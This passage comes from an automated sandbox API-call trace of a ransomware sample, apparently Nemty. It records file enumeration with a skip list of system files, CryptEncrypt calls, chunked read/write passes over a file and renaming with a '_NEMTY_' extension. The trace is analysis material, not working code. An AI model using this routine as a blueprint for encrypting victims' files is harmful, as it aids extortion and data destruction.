cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0052.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PipeTran.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PipeTran.dll", lpUsedDefaultChar=0x0) returned 12 [0052.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PipeTran.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0052.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PipeTran.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PipeTran.dll", lpUsedDefaultChar=0x0) returned 12 [0052.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PipeTran.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0052.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PipeTran.dll", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PipeTran.dll", lpUsedDefaultChar=0x0) returned 12 [0052.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PipeTran.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0052.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PipeTran.dll", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PipeTran.dll", lpUsedDefaultChar=0x0) returned 12 [0052.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0052.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0052.255] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2=".") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="..") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="...") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="windows") returned -1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="$RECYCLE.BIN") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="rsa") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="NTDETECT.COM") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="ntldr") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="MSDOS.SYS") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="IO.SYS") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="boot.ini") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="boot.ini") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="AUTOEXEC.BAT") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="ntuser.dat") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="desktop.ini") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="CONFIG.SYS") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="RECYCLER") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="BOOTSECT.BAK") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="bootmgr") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="programdata") returned 1 [0052.255] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="appdata") returned 1 [0052.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsink.ax", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0052.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsink.ax", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rtstreamsink.ax", lpUsedDefaultChar=0x0) returned 15 [0052.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsink.ax", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0052.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsink.ax", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rtstreamsink.ax", lpUsedDefaultChar=0x0) returned 15 [0052.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsink.ax", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0052.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsink.ax", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rtstreamsink.ax", lpUsedDefaultChar=0x0) returned 15 [0052.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsink.ax", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0052.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsink.ax", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rtstreamsink.ax", lpUsedDefaultChar=0x0) returned 15 [0052.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0052.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0052.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0052.256] Sleep (dwMilliseconds=0x5) [0052.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xd2cb82f0, dwHighDateTime=0x1d561e7)) [0052.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xd2cb82f0, dwHighDateTime=0x1d561e7)) [0052.262] GetLastError () returned 0x5 [0052.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0052.262] GetLastError () returned 0x5 [0052.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0052.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.263] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0052.263] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0052.263] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0052.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0052.263] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="ymolRydMsquLXzGTaZsnJVCJMnxlgGjEIUp7HB080Guq1UAupOfLU7EMsgxMA5xR\r\nYSMSrYF+zor7UO3C4DcQixJYdaDybCwxxGx2Dj0HGlKr2+PQpLP6g4k/htZc12YO\r\nIZXDFUqdtMHHcXxqzzDCHN2MnlS2GRDfyNEgo6BmmzD9Qf5FkTsMMypPXxs8+F2Y\r\nKQWlrE1NKZY1wOX1K6cuOiiPzSZJjD//plqqwXrGfSO/BXulXo6P5fdpgDc7Exn2\r\ny9uySdX5JUHONnbfH/WYI/pygoIiJvOQP9L/eFNdbP/wrr95z+6861+h+Ern75Y0\r\nLFujkTFGoLgA6UW+ivfcuA==\r\n", pcchString=0x653f2dc) returned 1 [0052.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0052.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0052.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0052.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0052.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0052.263] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0052.271] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0052.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0052.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.271] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.292] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.292] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.301] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.301] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.344] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.354] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.354] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.363] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.363] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.373] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.382] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.382] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.400] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.400] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.415] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.421] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.422] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0052.422] CloseHandle (hObject=0xffffffff) returned 0 [0052.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f915f8 [0052.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0052.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0052.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0052.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94370 [0052.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x63401c0 [0052.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0052.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0052.422] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax._nemty_kgobjgd_")) returned 0 [0052.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0052.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0052.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0052.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0052.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0052.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0052.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0052.422] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, 